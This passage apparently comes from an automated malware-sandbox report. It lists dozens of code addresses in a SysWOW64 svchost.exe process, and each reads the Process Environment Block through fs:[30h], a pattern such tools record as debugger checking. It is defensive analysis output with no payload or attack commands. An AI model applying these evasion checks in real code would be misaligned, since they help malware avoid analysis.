Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428397 mov eax, dword ptr fs:[00000030h]	2_2_03428397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428397 mov eax, dword ptr fs:[00000030h]	2_2_03428397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B8243 mov eax, dword ptr fs:[00000030h]	2_2_034B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B8243 mov ecx, dword ptr fs:[00000030h]	2_2_034B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A250 mov eax, dword ptr fs:[00000030h]	2_2_0342A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436259 mov eax, dword ptr fs:[00000030h]	2_2_03436259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434260 mov eax, dword ptr fs:[00000030h]	2_2_03434260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434260 mov eax, dword ptr fs:[00000030h]	2_2_03434260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434260 mov eax, dword ptr fs:[00000030h]	2_2_03434260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342826B mov eax, dword ptr fs:[00000030h]	2_2_0342826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342823B mov eax, dword ptr fs:[00000030h]	2_2_0342823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402E1 mov eax, dword ptr fs:[00000030h]	2_2_034402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402E1 mov eax, dword ptr fs:[00000030h]	2_2_034402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402E1 mov eax, dword ptr fs:[00000030h]	2_2_034402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E284 mov eax, dword ptr fs:[00000030h]	2_2_0346E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E284 mov eax, dword ptr fs:[00000030h]	2_2_0346E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B0283 mov eax, dword ptr fs:[00000030h]	2_2_034B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B0283 mov eax, dword ptr fs:[00000030h]	2_2_034B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B0283 mov eax, dword ptr fs:[00000030h]	2_2_034B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402A0 mov eax, dword ptr fs:[00000030h]	2_2_034402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402A0 mov eax, dword ptr fs:[00000030h]	2_2_034402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov ecx, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]	2_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]	2_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov ecx, dword ptr fs:[00000030h]	2_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]	2_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]	2_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C156 mov eax, dword ptr fs:[00000030h]	2_2_0342C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C8158 mov eax, dword ptr fs:[00000030h]	2_2_034C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436154 mov eax, dword ptr fs:[00000030h]	2_2_03436154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436154 mov eax, dword ptr fs:[00000030h]	2_2_03436154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov ecx, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov ecx, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov ecx, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov ecx, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118 mov ecx, dword ptr fs:[00000030h]	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118 mov eax, dword ptr fs:[00000030h]	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118 mov eax, dword ptr fs:[00000030h]	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118 mov eax, dword ptr fs:[00000030h]	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F0115 mov eax, dword ptr fs:[00000030h]	2_2_034F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03460124 mov eax, dword ptr fs:[00000030h]	2_2_03460124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F61C3 mov eax, dword ptr fs:[00000030h]	2_2_034F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F61C3 mov eax, dword ptr fs:[00000030h]	2_2_034F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035061E5 mov eax, dword ptr fs:[00000030h]	2_2_035061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034601F8 mov eax, dword ptr fs:[00000030h]	2_2_034601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03470185 mov eax, dword ptr fs:[00000030h]	2_2_03470185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EC188 mov eax, dword ptr fs:[00000030h]	2_2_034EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EC188 mov eax, dword ptr fs:[00000030h]	2_2_034EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D4180 mov eax, dword ptr fs:[00000030h]	2_2_034D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D4180 mov eax, dword ptr fs:[00000030h]	2_2_034D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]	2_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]	2_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]	2_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]	2_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A197 mov eax, dword ptr fs:[00000030h]	2_2_0342A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A197 mov eax, dword ptr fs:[00000030h]	2_2_0342A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A197 mov eax, dword ptr fs:[00000030h]	2_2_0342A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03432050 mov eax, dword ptr fs:[00000030h]	2_2_03432050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6050 mov eax, dword ptr fs:[00000030h]	2_2_034B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345C073 mov eax, dword ptr fs:[00000030h]	2_2_0345C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4000 mov ecx, dword ptr fs:[00000030h]	2_2_034B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]	2_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]	2_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]	2_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]	2_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A020 mov eax, dword ptr fs:[00000030h]	2_2_0342A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C020 mov eax, dword ptr fs:[00000030h]	2_2_0342C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6030 mov eax, dword ptr fs:[00000030h]	2_2_034C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B20DE mov eax, dword ptr fs:[00000030h]	2_2_034B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0342A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034380E9 mov eax, dword ptr fs:[00000030h]	2_2_034380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B60E0 mov eax, dword ptr fs:[00000030h]	2_2_034B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0342C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034720F0 mov ecx, dword ptr fs:[00000030h]	2_2_034720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343208A mov eax, dword ptr fs:[00000030h]	2_2_0343208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C80A8 mov eax, dword ptr fs:[00000030h]	2_2_034C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F60B8 mov eax, dword ptr fs:[00000030h]	2_2_034F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F60B8 mov ecx, dword ptr fs:[00000030h]	2_2_034F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346674D mov esi, dword ptr fs:[00000030h]	2_2_0346674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346674D mov eax, dword ptr fs:[00000030h]	2_2_0346674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346674D mov eax, dword ptr fs:[00000030h]	2_2_0346674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430750 mov eax, dword ptr fs:[00000030h]	2_2_03430750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE75D mov eax, dword ptr fs:[00000030h]	2_2_034BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472750 mov eax, dword ptr fs:[00000030h]	2_2_03472750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472750 mov eax, dword ptr fs:[00000030h]	2_2_03472750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4755 mov eax, dword ptr fs:[00000030h]	2_2_034B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438770 mov eax, dword ptr fs:[00000030h]	2_2_03438770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C700 mov eax, dword ptr fs:[00000030h]	2_2_0346C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430710 mov eax, dword ptr fs:[00000030h]	2_2_03430710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03460710 mov eax, dword ptr fs:[00000030h]	2_2_03460710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C720 mov eax, dword ptr fs:[00000030h]	2_2_0346C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C720 mov eax, dword ptr fs:[00000030h]	2_2_0346C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346273C mov eax, dword ptr fs:[00000030h]	2_2_0346273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346273C mov ecx, dword ptr fs:[00000030h]	2_2_0346273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346273C mov eax, dword ptr fs:[00000030h]	2_2_0346273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AC730 mov eax, dword ptr fs:[00000030h]	2_2_034AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343C7C0 mov eax, dword ptr fs:[00000030h]	2_2_0343C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B07C3 mov eax, dword ptr fs:[00000030h]	2_2_034B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034527ED mov eax, dword ptr fs:[00000030h]	2_2_034527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034527ED mov eax, dword ptr fs:[00000030h]	2_2_034527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034527ED mov eax, dword ptr fs:[00000030h]	2_2_034527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE7E1 mov eax, dword ptr fs:[00000030h]	2_2_034BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034347FB mov eax, dword ptr fs:[00000030h]	2_2_034347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034347FB mov eax, dword ptr fs:[00000030h]	2_2_034347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D678E mov eax, dword ptr fs:[00000030h]	2_2_034D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034307AF mov eax, dword ptr fs:[00000030h]	2_2_034307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344C640 mov eax, dword ptr fs:[00000030h]	2_2_0344C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F866E mov eax, dword ptr fs:[00000030h]	2_2_034F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F866E mov eax, dword ptr fs:[00000030h]	2_2_034F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A660 mov eax, dword ptr fs:[00000030h]	2_2_0346A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A660 mov eax, dword ptr fs:[00000030h]	2_2_0346A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03462674 mov eax, dword ptr fs:[00000030h]	2_2_03462674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE609 mov eax, dword ptr fs:[00000030h]	2_2_034AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472619 mov eax, dword ptr fs:[00000030h]	2_2_03472619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E627 mov eax, dword ptr fs:[00000030h]	2_2_0344E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03466620 mov eax, dword ptr fs:[00000030h]	2_2_03466620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468620 mov eax, dword ptr fs:[00000030h]	2_2_03468620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343262C mov eax, dword ptr fs:[00000030h]	2_2_0343262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_0346A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A6C7 mov eax, dword ptr fs:[00000030h]	2_2_0346A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B06F1 mov eax, dword ptr fs:[00000030h]	2_2_034B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B06F1 mov eax, dword ptr fs:[00000030h]	2_2_034B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434690 mov eax, dword ptr fs:[00000030h]	2_2_03434690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434690 mov eax, dword ptr fs:[00000030h]	2_2_03434690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C6A6 mov eax, dword ptr fs:[00000030h]	2_2_0346C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034666B0 mov eax, dword ptr fs:[00000030h]	2_2_034666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438550 mov eax, dword ptr fs:[00000030h]	2_2_03438550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438550 mov eax, dword ptr fs:[00000030h]	2_2_03438550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346656A mov eax, dword ptr fs:[00000030h]	2_2_0346656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346656A mov eax, dword ptr fs:[00000030h]	2_2_0346656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346656A mov eax, dword ptr fs:[00000030h]	2_2_0346656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6500 mov eax, dword ptr fs:[00000030h]	2_2_034C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535 mov eax, dword ptr fs:[00000030h]	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E53E mov eax, dword ptr fs:[00000030h]	2_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E5CF mov eax, dword ptr fs:[00000030h]	2_2_0346E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E5CF mov eax, dword ptr fs:[00000030h]	2_2_0346E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034365D0 mov eax, dword ptr fs:[00000030h]	2_2_034365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0346A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0346A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034325E0 mov eax, dword ptr fs:[00000030h]	2_2_034325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C5ED mov eax, dword ptr fs:[00000030h]	2_2_0346C5ED
